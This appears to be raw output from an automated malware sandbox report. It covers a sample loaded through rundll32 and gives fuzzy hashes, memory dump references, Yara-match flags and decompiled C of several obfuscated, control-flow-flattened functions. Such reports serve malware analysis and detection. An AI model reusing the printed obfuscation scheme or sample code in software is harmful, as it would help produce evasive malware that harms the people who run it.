Similarity

API ID:
String ID: :O$g;{
API String ID: 0-3257243416
Opcode ID: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction ID: f63acf0aa15d8536a53f4bcd57cfc4b95fb795f3038675a6b4cec7c99cead48f
Opcode Fuzzy Hash: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction Fuzzy Hash: DA41F1B580034AEBCF05CFA5DA0A8DEBBB1FF54318F108548E925A6220D3B59B65DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EA10A61, Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6EA10A5C,?,?,?,?,?,?,00000000), ref: 6EA10C8E

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7876f8e83a42ff482585098e880b00ff27b21d0feb44fd8e07540426c3befb1a
Instruction ID: 8e070d163bbe5d2a97ffe811e3bdecb6e9f3e240431e333807e32386855dfce4
Opcode Fuzzy Hash: 7876f8e83a42ff482585098e880b00ff27b21d0feb44fd8e07540426c3befb1a
Instruction Fuzzy Hash: F8B15B31218609CFD744CF68C4D6B957BA0FF45364F298658E8E9CF2A1D335E9A2CB44

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0CC44, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6EA0CC5A

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ba0ba7027427620de94ab5f5cd6cd6747b12991be48ffc358f11d5dcf9ca3c81
Instruction ID: edac6efb6e5c9397bb1e244a5336a15be0893a300e29b06f11a2202f491073af
Opcode Fuzzy Hash: ba0ba7027427620de94ab5f5cd6cd6747b12991be48ffc358f11d5dcf9ca3c81
Instruction Fuzzy Hash: ED5169B1A01605DBEB05CFA5D4817AABBF4FB88314F24C42AC415FF240D3769981CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 6EA12FE7, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b027fdad54cf8a77b14b57196381fbe8ce3f88b64fd4d1685fe775a31cd1c090
Instruction ID: 77d7a574c326bc9c6f912c73bedda948d06f53a2aa2c45af1349a8a63ffcd0e9
Opcode Fuzzy Hash: b027fdad54cf8a77b14b57196381fbe8ce3f88b64fd4d1685fe775a31cd1c090
Instruction Fuzzy Hash: E741B2B5808219AFDF10DFA9CD88AEABBBCAF45304F1546DDE448D3200DB359E859F24

Uniqueness

Uniqueness Score: -1.00%

Function 6EA00F10, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6EA01143

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: 27e6e31073b6d89075c915dc9c74afca53bdd7f7b287c17eaef438f73b703f63
Instruction ID: dfed4bd17837111b93d174a7e0d2eabbf6c83a924063afb55660680d73ff53ac
Opcode Fuzzy Hash: 27e6e31073b6d89075c915dc9c74afca53bdd7f7b287c17eaef438f73b703f63
Instruction Fuzzy Hash: F7D11C316087058FC350CE99D4C06EAB7E3AB9931CF658769D4A88B395D231DDCECB86

Uniqueness

Uniqueness Score: -1.00%

Function 029C39C3, Relevance: 1.5, Strings: 1, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E029C39C3(void* __ecx, intOrPtr _a4) {
				char _v28;
				char _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v76;
				char _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				unsigned int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				void* __edx;
				void* _t141;
				signed int _t157;
				void* _t160;
				void* _t174;
				intOrPtr _t184;
				void* _t201;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t205;
				void* _t207;
				void* _t208;
				void* _t210;

				_push(_a4);
				_push(__ecx);
				E029C8002(_t141);
				_v48 = 0xd637a9;
				_t202 = 0;
				_v44 = 0;
				_t208 = _t207 + 0xc;
				_v40 = 0;
				_v140 = 0xa8536a;
				_t174 = 0x73d5498;
				_v140 = _v140 + 0xffff8698;
				_v140 = _v140 >> 0x10;
				_v140 = _v140 ^ 0x00052fe0;
				_v132 = 0xa6c4dc;
				_v132 = _v132 | 0x98a72bf4;
				_v132 = _v132 << 7;
				_v132 = _v132 ^ 0x53f8160f;
				_v116 = 0x77dc84;
				_v116 = _v116 << 8;
				_v116 = _v116 ^ 0x77db9e3c;
				_v136 = 0x7d355e;
				_v136 = _v136 >> 6;
				_t203 = 0x6c;
				_v136 = _v136 / _t203;
				_v136 = _v136 ^ 0x000ea38d;
				_v156 = 0xb6b358;
				_v156 = _v156 ^ 0xf70e65eb;
				_v156 = _v156 << 9;
				_v156 = _v156 >> 2;
				_v156 = _v156 ^ 0x1c6c7694;
				_v148 = 0x558f4c;
				_v148 = _v148 ^ 0x8143a653;
				_v148 = _v148 >> 0x10;
				_v148 = _v148 | 0xf9343424;
				_v148 = _v148 ^ 0xf93cfbe4;
				_v144 = 0xf90e1f;
				_v144 = _v144 >> 5;
				_v144 = _v144 + 0xffff17b5;
				_t204 = 0x7d;
				_v144 = _v144 / _t204;
				_v144 = _v144 ^ 0x00031324;
				_v152 = 0x766cd0;
				_v152 = _v152 * 0xd;
				_v152 = _v152 | 0x427eb195;
				_v152 = _v152 >> 6;
				_v152 = _v152 ^ 0x01132306;
				_v128 = 0xe7af;
				_v128 = _v128 * 0x19;
				_v128 = _v128 + 0xffffb9f5;
				_v128 = _v128 ^ 0x0019af52;
				_v112 = 0x8f301;
				_v112 = _v112 + 0xffffaa86;
				_v112 = _v112 ^ 0x0002033c;
				_v124 = 0x82adf8;
				_v124 = _v124 >> 0xd;
				_v124 = _v124 >> 8;
				_v124 = _v124 ^ 0x0002f6f0;
				_v120 = 0x8715f0;
				_v120 = _v120 | 0x09b236ba;
				_v120 = _v120 ^ 0x09bf82ff;
				_t205 = _v120;
				while(1) {
					_t210 = _t174 - 0x73d5498;
					if(_t210 > 0) {
						goto L23;
					}
					L2:
					if(_t210 == 0) {
						E029D777F(_v140, _v132,  &_v28, _a4, _v116);
						_t208 = _t208 + 0xc;
						_t174 = 0x10a7175;
						while(1) {
							_t210 = _t174 - 0x73d5498;
							if(_t210 > 0) {
								goto L23;
							}
							goto L2;
						}
					}
					if(_t174 == 0x32fc91) {
						__eflags = _v64 - 3;
						if(__eflags == 0) {
							E029D710D( &_v108);
							L14:
							_t174 = 0x1b315f4;
							continue;
							do {
								while(1) {
									_t210 = _t174 - 0x73d5498;
									if(_t210 > 0) {
										goto L23;
									}
									goto L2;
								}
								goto L23;
								L45:
								__eflags = _t174 - 0x8633bf1;
							} while (__eflags != 0);
							L46:
							return _t202;
						}
						_t174 = 0x7e18eea;
						continue;
					}
					if(_t174 == 0x10a7175) {
						E029C6125(0);
						L17:
						_t174 = 0x610d68e;
						continue;
					}
					if(_t174 == 0x1b315f4) {
						_t184 =  *0x29e5bd0;
						_t202 = _t202 + 1;
						__eflags = _t202;
						 *(_t205 + 0x2c) =  *(_t184 + 0x230);
						 *(_t184 + 0x230) = _t205;
						goto L17;
					}
					if(_t174 == 0x28b0772) {
						_t157 = E029C3085(_v144, _v152, _v128, _v112,  &_v36,  &_v108);
						_t208 = _t208 + 0x10;
						asm("sbb ecx, ecx");
						_t174 = ( ~_t157 & 0x087c4912) + 0x610d68e;
						continue;
					}
					if(_t174 == 0x318413f) {
						__eflags = _v64 - 6;
						if(__eflags == 0) {
							E029C4716( &_v108);
							goto L14;
						}
						_t174 = 0x9c8c740;
						continue;
					}
					_t216 = _t174 - 0x610d68e;
					if(_t174 != 0x610d68e) {
						goto L45;
					}
					_t160 = E029DC5F2(_v136,  &_v28, _t216,  &_v36, _v156, _v148);
					_t208 = _t208 + 0xc;
					if(_t160 == 0) {
						goto L46;
					}
					L10:
					_t174 = 0x28b0772;
					continue;
					L23:
					__eflags = _t174 - 0x7e18eea;
					if(_t174 == 0x7e18eea) {
						__eflags = _v64 - 4;
						if(__eflags == 0) {
							E029C6BFE( &_v108);
							_t174 = 0x1b315f4;
							goto L45;
						}
						_t174 = 0x9fbcb6c;
						continue;
					}
					__eflags = _t174 - 0x9c8c740;
					if(_t174 == 0x9c8c740) {
						__eflags = _v64 - 7;
						if(__eflags == 0) {
							E029CE6FD( &_v108);
						}
						goto L14;
					}
					__eflags = _t174 - 0x9fbcb6c;
					if(_t174 == 0x9fbcb6c) {
						__eflags = _v64 - 5;
						if(__eflags == 0) {
							E029DD10B( &_v108, _t205);
							goto L14;
						}
						_t174 = 0x318413f;
						continue;
					}
					__eflags = _t174 - 0xcfc62c4;
					if(_t174 == 0xcfc62c4) {
						__eflags = _v64 - 1;
						if(__eflags == 0) {
							E029D1C12( &_v108);
							goto L14;
						}
						_t174 = 0xe872c02;
						continue;
					}
					__eflags = _t174 - 0xe872c02;
					if(_t174 == 0xe872c02) {
						__eflags = _v64 - 2;
						if(__eflags == 0) {
							E029C9565( &_v108, _t205);
							goto L14;
						}
						_t174 = 0x32fc91;
						continue;
					}
					__eflags = _t174 - 0xe8d1fa0;
					if(_t174 != 0xe8d1fa0) {
						goto L45;
					}
					_push(_t174);
					_t201 = 0x58;
					_t205 = E029D6F53(_t201);
					__eflags = _t205;
					if(__eflags == 0) {
						goto L10;
					}
					_t174 = 0xcfc62c4;
					 *((intOrPtr*)(_t205 + 0x38)) = _v60;
					 *((intOrPtr*)(_t205 + 0x44)) = _v56;
					 *((intOrPtr*)(_t205 + 0x14)) = _v76;
				}
			}

0x029c39cd
0x029c39d5
0x029c39d6
0x029c39db
0x029c39e6
0x029c39e8
0x029c39ef
0x029c39f2
0x029c39fb
0x029c3a03
0x029c3a08
0x029c3a15
0x029c3a1f
0x029c3a27
0x029c3a2f
0x029c3a37
0x029c3a3c
0x029c3a44
0x029c3a4c
0x029c3a51
0x029c3a59
0x029c3a61
0x029c3a6c
0x029c3a71
0x029c3a77
0x029c3a7f
0x029c3a87
0x029c3a8f
0x029c3a94
0x029c3a99
0x029c3aa1
0x029c3aa9
0x029c3ab1
0x029c3ab6
0x029c3abe
0x029c3ac6
0x029c3ace
0x029c3ad3
0x029c3adf
0x029c3ae2
0x029c3ae6
0x029c3aee
0x029c3afb
0x029c3aff
0x029c3b07
0x029c3b0c
0x029c3b14
0x029c3b21
0x029c3b25
0x029c3b2d
0x029c3b35
0x029c3b3d
0x029c3b45
0x029c3b4d
0x029c3b55
0x029c3b5a
0x029c3b5f
0x029c3b67
0x029c3b6f
0x029c3b77
0x029c3b7f
0x029c3b83
0x029c3b83
0x029c3b89
0x00000000
0x00000000
0x029c3b8f
0x029c3b8f
0x029c3cb8
0x029c3cbd
0x029c3cc0
0x029c3b83
0x029c3b83
0x029c3b89
0x00000000
0x00000000
0x00000000
0x029c3b89
0x029c3b83
0x029c3b9b
0x029c3c7e
0x029c3c83
0x029c3c93
0x029c3c19
0x029c3c19
0x029c3c1b
0x029c3b83
0x029c3b83
0x029c3b83
0x029c3b89
0x00000000
0x00000000
0x00000000
0x029c3b89
0x00000000
0x029c3ddb
0x029c3ddb
0x029c3ddb
0x029c3de7
0x029c3df3
0x029c3df3
0x029c3c85
0x00000000
0x029c3c85
0x029c3ba7
0x029c3c77
0x029c3c6e
0x029c3c6e
0x00000000
0x029c3c6e
0x029c3baf
0x029c3c58
0x029c3c5e
0x029c3c5e
0x029c3c65
0x029c3c68
0x00000000
0x029c3c68
0x029c3bbb
0x029c3c3d
0x029c3c42
0x029c3c49
0x029c3c51
0x00000000
0x029c3c51
0x029c3bc3
0x029c3bff
0x029c3c04
0x029c3c14
0x00000000
0x029c3c14
0x029c3c06
0x00000000
0x029c3c06
0x029c3bc5
0x029c3bc7
0x00000000
0x00000000
0x029c3be8
0x029c3bed
0x029c3bf2
0x00000000
0x00000000
0x029c3bf8
0x029c3bf8
0x00000000
0x029c3cca
0x029c3cca
0x029c3cd0
0x029c3dbf
0x029c3dc4
0x029c3dd4
0x029c3dd9
0x00000000
0x029c3dd9
0x029c3dc6
0x00000000
0x029c3dc6
0x029c3cd6
0x029c3cdc
0x029c3da6
0x029c3dab
0x029c3db5
0x029c3db5
0x00000000
0x029c3dab
0x029c3ce2
0x029c3ce8
0x029c3d85
0x029c3d8a
0x029c3d9c
0x00000000
0x029c3d9c
0x029c3d8c
0x00000000
0x029c3d8c
0x029c3cee
0x029c3cf4
0x029c3d66
0x029c3d6b
0x029c3d7b
0x00000000
0x029c3d7b
0x029c3d6d
0x00000000
0x029c3d6d
0x029c3cf6
0x029c3cfc
0x029c3d45
0x029c3d4a
0x029c3d5c
0x00000000
0x029c3d5c
0x029c3d4c
0x00000000
0x029c3d4c
0x029c3cfe
0x029c3d04
0x00000000
0x00000000
0x029c3d12
0x029c3d15
0x029c3d1b
0x029c3d1e
0x029c3d20
0x00000000
0x00000000
0x029c3d2a
0x029c3d2f
0x029c3d36
0x029c3d3d
0x029c3d3d

Strings

^5}, xrefs: 029C3A59

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ^5}
API String ID: 0-367400351
Opcode ID: bd728cce9e9d698d11cb9ed65f8fa10b235386ae1da76aeca4feb98c2daea275
Instruction ID: 3626868c0a5921ed1eb413bfd067f30faa7d50af247d7124f1a0d1c576563ac5
Opcode Fuzzy Hash: bd728cce9e9d698d11cb9ed65f8fa10b235386ae1da76aeca4feb98c2daea275
Instruction Fuzzy Hash: FEA188715083409BC768DF24C49956FBBE5FFD4718F608A6DF68A86220C7718948CF8B

Uniqueness

Uniqueness Score: -1.00%

Function 029C33A9, Relevance: 1.4, Strings: 1, Instructions: 170
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029C33A9(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				void* _t142;
				void* _t152;
				char _t157;
				void* _t160;
				char* _t168;
				signed int _t179;
				signed int _t180;
				signed int* _t184;

				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t142);
				_v180 = 0x84db52;
				_t184 =  &(( &_v192)[4]);
				_v180 = _v180 + 0xffff8fd3;
				_v180 = _v180 + 0x8e24;
				_t160 = 0x9c3ce02;
				_t179 = 0x3c;
				_v180 = _v180 * 0x6a;
				_v180 = _v180 ^ 0x3704684e;
				_v172 = 0xee6c8e;
				_v172 = _v172 + 0x1dde;
				_v172 = _v172 | 0xbee283ce;
				_v172 = _v172 << 9;
				_v172 = _v172 ^ 0xdd19b5c8;
				_v188 = 0xe9fc17;
				_v188 = _v188 ^ 0x7306fb39;
				_v188 = _v188 << 5;
				_v188 = _v188 / _t179;
				_v188 = _v188 ^ 0x021071b9;
				_v140 = 0x3e104b;
				_v140 = _v140 + 0xd12b;
				_v140 = _v140 ^ 0x00301766;
				_v156 = 0x5cd771;
				_v156 = _v156 << 0xb;
				_v156 = _v156 | 0x1bc0984c;
				_v156 = _v156 ^ 0xfff33bd6;
				_v192 = 0x2d26eb;
				_v192 = _v192 << 0xe;
				_v192 = _v192 << 3;
				_t180 = 9;
				_v192 = _v192 / _t180;
				_v192 = _v192 ^ 0x08afd908;
				_v148 = 0xdbf6bd;
				_v148 = _v148 << 8;
				_v148 = _v148 ^ 0xdbf91baa;
				_v176 = 0x60c81d;
				_v176 = _v176 << 5;
				_v176 = _v176 >> 0xd;
				_v176 = _v176 | 0xb62a036d;
				_v176 = _v176 ^ 0xb620e1a4;
				_v184 = 0x6014c6;
				_v184 = _v184 | 0x08cf93b1;
				_v184 = _v184 * 0x38;
				_v184 = _v184 << 4;
				_v184 = _v184 ^ 0x469d7088;
				_v144 = 0xc2d32e;
				_v144 = _v144 * 0x30;
				_v144 = _v144 ^ 0x248632d7;
				_v136 = 0x3ecd94;
				_v136 = _v136 >> 4;
				_v136 = _v136 ^ 0x00018e91;
				_v164 = 0xab7d3;
				_v164 = _v164 + 0x6595;
				_v164 = _v164 + 0xffff3e66;
				_v164 = _v164 ^ 0x000f888e;
				_v152 = 0x832cc;
				_v152 = _v152 * 0x57;
				_v152 = _v152 | 0xc4206bbc;
				_v152 = _v152 ^ 0xc6e7f686;
				_v168 = 0xc82de7;
				_v168 = _v168 | 0xd7cfedfe;
				_v168 = _v168 ^ 0x0a9758be;
				_v168 = _v168 ^ 0xdd5093a2;
				_v160 = 0xff395b;
				_v160 = _v160 ^ 0xdf032e7d;
				_v160 = _v160 + 0xffff8c1d;
				_v160 = _v160 ^ 0xdff544c0;
				while(_t160 != 0x10f424d) {
					if(_t160 == 0x473f23e) {
						_v132 = 0x80;
						_t157 = E029D6393( &_v132, _v180,  &_v128, _v172, _v188, _v140);
						_t184 =  &(_t184[4]);
						_t160 = 0x9de697f;
						continue;
					}
					if(_t160 == 0x9c3ce02) {
						_t160 = 0x473f23e;
						continue;
					}
					if(_t160 != 0x9de697f) {
						L18:
						__eflags = _t160 - 0xea2c201;
						if(_t160 != 0xea2c201) {
							continue;
						}
						return _t157;
					}
					_t168 =  &_v128;
					if(_v128 == 0) {
						L14:
						_t160 = 0x10f424d;
						continue;
					} else {
						goto L6;
					}
					do {
						L6:
						_t157 =  *_t168;
						if(_t157 < 0x30 || _t157 > 0x39) {
							if(_t157 < 0x61 || _t157 > 0x7a) {
								if(_t157 < 0x41 || _t157 > 0x5a) {
									 *_t168 = 0x58;
								}
							}
						}
						_t168 = _t168 + 1;
					} while ( *_t168 != 0);
					goto L14;
				}
				_push(0x29c1194);
				_t152 = E029C54C0(_v156, _v192);
				E029DAE66(_a4, __eflags, E029CDD66(_v148, __eflags), _v176, _v184,  &_v128, _v144,  &_v128, _v136, _v164);
				E029D2EED(_v152, _v168, _v160, _t152);
				_t184 =  &(_t184[0xa]);
				_t160 = 0xea2c201;
				goto L18;
			}

0x029c33b3
0x029c33ba
0x029c33c1
0x029c33c2
0x029c33c3
0x029c33c8
0x029c33d0
0x029c33d3
0x029c33dd
0x029c33e5
0x029c33f1
0x029c33f4
0x029c33f8
0x029c3400
0x029c3408
0x029c3410
0x029c3418
0x029c341d
0x029c3425
0x029c342d
0x029c3435
0x029c3442
0x029c3446
0x029c344e
0x029c3456
0x029c345e
0x029c3466
0x029c346e
0x029c3473
0x029c347b
0x029c3483
0x029c348b
0x029c3490
0x029c3499
0x029c349c
0x029c34a0
0x029c34a8
0x029c34b0
0x029c34b5
0x029c34bd
0x029c34c5
0x029c34ca
0x029c34cf
0x029c34d7
0x029c34df
0x029c34e7
0x029c34f4
0x029c34f8
0x029c34fd
0x029c3505
0x029c3512
0x029c3516
0x029c351e
0x029c3526
0x029c352b
0x029c3533
0x029c353b
0x029c3543
0x029c354b
0x029c3553
0x029c3560
0x029c3564
0x029c356c
0x029c3574
0x029c357c
0x029c3584
0x029c3591
0x029c359e
0x029c35ab
0x029c35b3
0x029c35bb
0x029c35c3
0x029c35c9
0x029c3619
0x029c3632
0x029c3637
0x029c363a
0x00000000
0x029c363a
0x029c35d1
0x029c360d
0x00000000
0x029c360d
0x029c35d5
0x029c369f
0x029c369f
0x029c36a5
0x00000000
0x00000000
0x029c36b5
0x029c36b5
0x029c35e0
0x029c35e4
0x029c3609
0x029c3609
0x00000000
0x00000000
0x00000000
0x00000000
0x029c35e6
0x029c35e6
0x029c35e6
0x029c35ea
0x029c35f2
0x029c35fa
0x029c3600
0x029c3600
0x029c35fa
0x029c35f2
0x029c3603
0x029c3604
0x00000000
0x029c35e6
0x029c3646
0x029c364b
0x029c3680
0x029c3692
0x029c3697
0x029c369a
0x00000000

Strings

&-, xrefs: 029C3483

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: &-
API String ID: 0-1647332301
Opcode ID: 3750d21e3cd474c69f548b8086686d8bd09e87b2dfbc4c9334d4c9e182c93e08
Instruction ID: f4972d1eff777f962864a6a3f93e2a95bce020fd289beadbe6f6372f26ab23e3
Opcode Fuzzy Hash: 3750d21e3cd474c69f548b8086686d8bd09e87b2dfbc4c9334d4c9e182c93e08
Instruction Fuzzy Hash: D27152704083819BC768DF60C48A65FBFE1BBC5398F608A1DF0D656260D3B58689CF97

Uniqueness

Uniqueness Score: -1.00%

Function 029C7D87, Relevance: 1.4, Strings: 1, Instructions: 140
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E029C7D87(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a16) {
				char _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				void* __ecx;
				void* _t109;
				intOrPtr _t120;
				void* _t122;
				void* _t124;
				signed int _t138;
				void* _t140;
				signed int* _t144;

				_t122 = __edx;
				_push(1);
				_push(_a16);
				_push(1);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t109);
				_v52 = 0x80706a;
				_t144 =  &(( &_v52)[7]);
				_v52 = _v52 << 0xa;
				_v52 = _v52 ^ 0x8d48b4d6;
				_t140 = 0;
				_v52 = _v52 | 0xb009f6c0;
				_t124 = 0x5261dcd;
				_v52 = _v52 ^ 0xbc8a3d63;
				_v12 = 0x6ac517;
				_v12 = _v12 >> 1;
				_v12 = _v12 ^ 0x00315dec;
				_v16 = 0xb423ec;
				_t138 = 0x1e;
				_v16 = _v16 * 0x61;
				_v16 = _v16 ^ 0x44490c57;
				_v24 = 0xd14c45;
				_v24 = _v24 + 0x627f;
				_v24 = _v24 + 0xffffb456;
				_v24 = _v24 ^ 0x00da3301;
				_v8 = 0xf8e995;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x000581de;
				_v28 = 0x6dde7a;
				_v28 = _v28 | 0xd6e95cee;
				_v28 = _v28 / _t138;
				_v28 = _v28 ^ 0x072bdf77;
				_v44 = 0xb9a462;
				_v44 = _v44 + 0xffff2218;
				_v44 = _v44 + 0x9970;
				_v44 = _v44 ^ 0xc6de1d0a;
				_v44 = _v44 ^ 0xc661abcc;
				_v48 = 0x32b63e;
				_v48 = _v48 + 0x5fc7;
				_v48 = _v48 * 0x26;
				_v48 = _v48 ^ 0x154b6501;
				_v48 = _v48 ^ 0x12de9e98;
				_v32 = 0xeddd00;
				_v32 = _v32 ^ 0x08b348da;
				_v32 = _v32 + 0x843d;
				_v32 = _v32 ^ 0x085d2bbc;
				_v36 = 0x5e36cd;
				_v36 = _v36 | 0xf6f7f6df;
				_v36 = _v36 ^ 0xf6f66cea;
				_v40 = 0x2ce207;
				_v40 = _v40 >> 0xd;
				_v40 = _v40 << 8;
				_v40 = _v40 >> 1;
				_v40 = _v40 ^ 0x00014704;
				_v20 = 0x9d5800;
				_v20 = _v20 * 0x26;
				_v20 = _v20 >> 0xc;
				_v20 = _v20 ^ 0x0002b141;
				_t139 = _v4;
				while(_t124 != 0x5261dcd) {
					if(_t124 == 0x69dc546) {
						E029CFAF1(_v24, _v8, _v4, _v28, _v44, _a8, _v48, _t122, 1, _v32, _t124, 1);
						_t144 =  &(_t144[0xa]);
						_t124 = 0xa5e98ea;
						_t140 =  !=  ? 1 : _t140;
						continue;
					} else {
						if(_t124 == 0xa5e98ea) {
							E029D9038(_v36, _v40, _v4, _v20);
						} else {
							if(_t124 == 0xbbdbf09) {
								_t120 = E029C576B();
								_t139 = _t120;
								if(_t120 != 0xffffffff) {
									_t124 = 0xe1a4901;
									continue;
								}
							} else {
								if(_t124 != 0xe1a4901) {
									L12:
									if(_t124 != 0xb28e91f) {
										continue;
									} else {
									}
								} else {
									if(E029DCDC8( &_v4, _v12, _v16, _t139) != 0) {
										_t124 = 0x69dc546;
										continue;
									}
								}
							}
						}
					}
					return _t140;
				}
				_t124 = 0xbbdbf09;
				goto L12;
			}

0x029c7d90
0x029c7d93
0x029c7d94
0x029c7d98
0x029c7d99
0x029c7d9d
0x029c7da1
0x029c7da3
0x029c7da8
0x029c7db0
0x029c7db3
0x029c7dba
0x029c7dc2
0x029c7dc4
0x029c7dcc
0x029c7dd1
0x029c7dd9
0x029c7de1
0x029c7de5
0x029c7ded
0x029c7dfc
0x029c7dfd
0x029c7e01
0x029c7e09
0x029c7e11
0x029c7e19
0x029c7e21
0x029c7e29
0x029c7e31
0x029c7e36
0x029c7e3e
0x029c7e46
0x029c7e54
0x029c7e58
0x029c7e60
0x029c7e68
0x029c7e70
0x029c7e78
0x029c7e80
0x029c7e88
0x029c7e90
0x029c7e9d
0x029c7ea1
0x029c7ea9
0x029c7eb1
0x029c7eb9
0x029c7ec1
0x029c7ec9
0x029c7ed1
0x029c7ed9
0x029c7ee1
0x029c7ee9
0x029c7ef1
0x029c7ef6
0x029c7efb
0x029c7eff
0x029c7f07
0x029c7f14
0x029c7f18
0x029c7f1d
0x029c7f25
0x029c7f29
0x029c7f3b
0x029c7fb7
0x029c7fbc
0x029c7fbf
0x029c7fc6
0x00000000
0x029c7f3d
0x029c7f43
0x029c7ff1
0x029c7f49
0x029c7f4f
0x029c7f80
0x029c7f85
0x029c7f8a
0x029c7f8c
0x00000000
0x029c7f8c
0x029c7f51
0x029c7f57
0x029c7fd3
0x029c7fd9
0x00000000
0x00000000
0x029c7fdf
0x029c7f59
0x029c7f6f
0x029c7f75
0x00000000
0x029c7f75
0x029c7f6f
0x029c7f57
0x029c7f4f
0x029c7f43
0x029c8001
0x029c8001
0x029c7fce
0x00000000

Strings

]1, xrefs: 029C7DE5

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ]1
API String ID: 0-3136993215
Opcode ID: 9db0013abb2ab1a12b05cf0443feec5d28df04a08154ced3353165346f37af36
Instruction ID: 6990ca3f8c30db661b21f2e3010c865d0c3b18e28d13cc60cf69f929f4a28da4
Opcode Fuzzy Hash: 9db0013abb2ab1a12b05cf0443feec5d28df04a08154ced3353165346f37af36
